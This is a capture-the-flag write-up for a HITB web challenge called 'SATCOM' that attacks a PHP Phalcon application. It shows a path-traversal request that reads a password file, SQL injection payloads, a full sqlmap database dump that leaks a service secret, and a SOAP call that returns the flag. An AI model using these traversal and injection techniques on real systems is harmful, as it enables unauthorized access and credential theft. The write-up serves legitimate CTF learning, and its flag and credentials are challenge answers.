WEB 1000
SATCOM
Our division of foreign cyber affairs has been hard at work lately. While mapping out some obscure subnets (which we think belong to the intelligence agency that is investigating HEAVENWEB) we’ve come accross a Sattelite Communications Center. One of our employees managed to snag a copy of some source code before they further locked down the platform. Luckily the login frontend still seems to be reachable.
Can you help us gain access to the platform and find out which information has been compromised?
On this challenge we need to read files provided to analyze which points are vulnerables and why. Code is PHP Phalcon framework and web is like some SATCOM communications site. First we can see that logins are read from file /etc/scc.password on this line:
protected function readUserFile() { $buf = ''; $fp = fopen("/etc/scc.passwd", "r"); while (!feof($fp)) { $buf .= fgets($fp); } fclose($fp); return $buf; }
and format is uid:pwd:name:level:is_enabled. Function getUsers() is retrieving this lines and return as an array:
public function getUsers() { $users = array(); $content = $this->readUserFile(); $lines = explode("\n", $content); foreach ($lines as $line) { $parts = explode(":", $line); if (count($parts) == 5) { $user = new User(); $user->setUid($parts[0]); $user->setPwd($parts[1]); $user->setName($parts[2]); $user->setClearanceLevel($parts[3]); $user->setEnabled($parts[4] == "true"); $users[] = $user; } } return $users; }
So users are not retrieved from database, need to find some point that guide us to read this /etc/scc.password file. Let’s see hitb\storefront\controllers\MediaControler.php file:
public function viewAction($file) { $folder = isset($_GET['folder']) ? $_GET['folder'] . "/" : "../app/storefront/resources/"; try { $fp = $this->getResourceService()->getResourceHandle($folder . $file); $this->view->setRenderLevel(View::LEVEL_NO_RENDER); $this->response->setHeader("Content-Type", "image/png"); fpassthru($fp); } catch (\Exception $e) { echo $e->getMessage(); } }
Interesting method viewAction, specially this line:
$folder = isset($_GET['folder']) ? $_GET['folder'] . "/" : "../app/storefront/resources/";
It makes bad checks on $folder variable. Seems we can test for LFI vulnerability passing folder as GET parameter to retrieve scc.passwd contents:
curl -i -s -k -X 'GET' 'http://satcom.info/media/view/scc.passwd?folder=../../../../../../../../../../../../../../etc/' HTTP/1.1 200 OK Server: nginx/1.4.6 (Ubuntu) Date: Sun, 08 Mar 2015 13:34:21 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.5.9-1ubuntu4.6 Set-Cookie: PHPSESSID=gi39cck67sr19lab415ojhidj2; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache 4100:uPN4jD:phenom:3:true 9011:Lft3a7:denial:3:true 3331:Zs6tzx:admin:9:false
OK! Now we have passwd file with some users that can be login. Also format of the file match with the previous GetUsers() method, remember that last part of the file, true/false, indicates that user can login on the system, unfortunately admin user is disabled. Let’s try some login (4100:uPN4jD):
Great! Now we can use transponder system with four main actions: list, add, activate and view. As we have all the source code of the application, we can check if there is other vulnerabilities inside. First we set focus on activate action, from here we are going to see interesting data via sql injection:
' union select null from transponder# SQLSTATE[21000]: Cardinality violation: 1222 The used SELECT statements have a different number of columns
Or just with x’ or id=2# we are able to read transponder data:
Transponder "http://primary-private-srv.satcom.info/service.wsdl" already activated
This url is the SOAP webservice used by the system and is important because we will launch SOAP calls to get the flag, but first, proceed to dump config data and oter staff from database, with sqlmap:
$ sqlmap -u "http://satcom.info/transponder/activate" --data "sic=" --cookie="PHPSESSID=ohnqm2hhss2o22saq4ohcubks0" --dump -v 6 --level=5 --risk=5 ... Place: POST Parameter: sic Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: sic=-3011' OR (3510=3510) AND 'fuHS'='fuHS Vector: OR ([INFERENCE]) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: sic=' AND (SELECT 7950 FROM(SELECT COUNT(*),CONCAT(0x716a6c6971,(SELECT (CASE WHEN (7950=7950) THEN 1 ELSE 0 END)),0x716d706171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'rqwR'='rqwR Vector: AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) Type: UNION query Title: MySQL UNION query (NULL) - 11 columns Payload: sic=' UNION ALL SELECT 16,CONCAT(0x716a6c6971,0x744d7556466a4b4f5a4d,0x716d706171),16,16,16,16,16,16,16,16,16# Vector: UNION ALL SELECT 16,[QUERY],16,16,16,16,16,16,16,16,16# Type: stacked queries Title: MySQL > 5.0.11 stacked queries Payload: sic='; SELECT SLEEP(5)-- Vector: ; SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])-- Type: AND/OR time-based blind Title: MySQL < 5.0.12 AND time-based blind (heavy query) Payload: sic=' AND 4776=BENCHMARK(5000000,MD5(0x4c59476e)) AND 'QoOA'='QoOA Vector: AND [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) --- web server operating system: Linux Ubuntu web application technology: Nginx, PHP 5.5.9 back-end DBMS: MySQL 5.0 ... Database: scc Table: config [2 entries] +----+------------------------------+-----------------------------------------------------+ | id | key | value | +----+------------------------------+-----------------------------------------------------+ | 1 | external.webservice.secret | f8bb883a642fe29ad2f70bbe4077459a | | 2 | external.webservice.endpoint | http://primary-private-srv.satcom.info/service.wsdl | +----+------------------------------+-----------------------------------------------------+
Config table has secret and endpoint and now we can make SOAP request and see results. To make this request we need PHPSESSID cookie, so we are going to use burp to do this. What we are going to use is «GetPacketData» and «GetSatus» against wdsl service with «sic» 1.4.55 as parameter and not the internal id. First tries i think we need change user’s level with CreateSessionForClearanceLevelRequest SOAP method to get the flag, but this was not implemented. Neither CreateSessionForUidRequest. Anyway flag appears with this SOAP call:
POST /?TransponderControlService HTTP/1.1 Accept: */* Content-Type: text/xml; charset=utf-8 SOAPAction: "GetPacketData" Host: primary-private-srv.satcom.info Content-Length: 555 Expect: 100-continue Proxy-Connection: Keep-Alive Cookie: PHPSESSID=ohnqm2hhss2o22saq4ohcubks0 <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="urn:scc:controlservice" xmlns:types="urn:scc:controlservice/encodedTypes" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><tns:GetPacketData><transponderId xsi:type="xsd:string">1.4.55</transponderId></tns:GetPacketData></soap:Body></soap:Envelope> -- Response HTTP/1.1 100 Continue HTTP/1.1 200 OK Server: nginx/1.4.6 (Ubuntu) Pragma: no-cache Content-Length: 602 <?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="urn:scc:controlservice" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:GetPacketDataResponse><parameters xsi:type="xsd:string">Great job!! :) Here's your flag: HITB{32c148293a4b6634c211284f2578bb35}</parameters></ns1:GetPacketDataResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>
Flag: HITB{32c148293a4b6634c211284f2578bb35}
note: Thanks to all dcua team mates ;)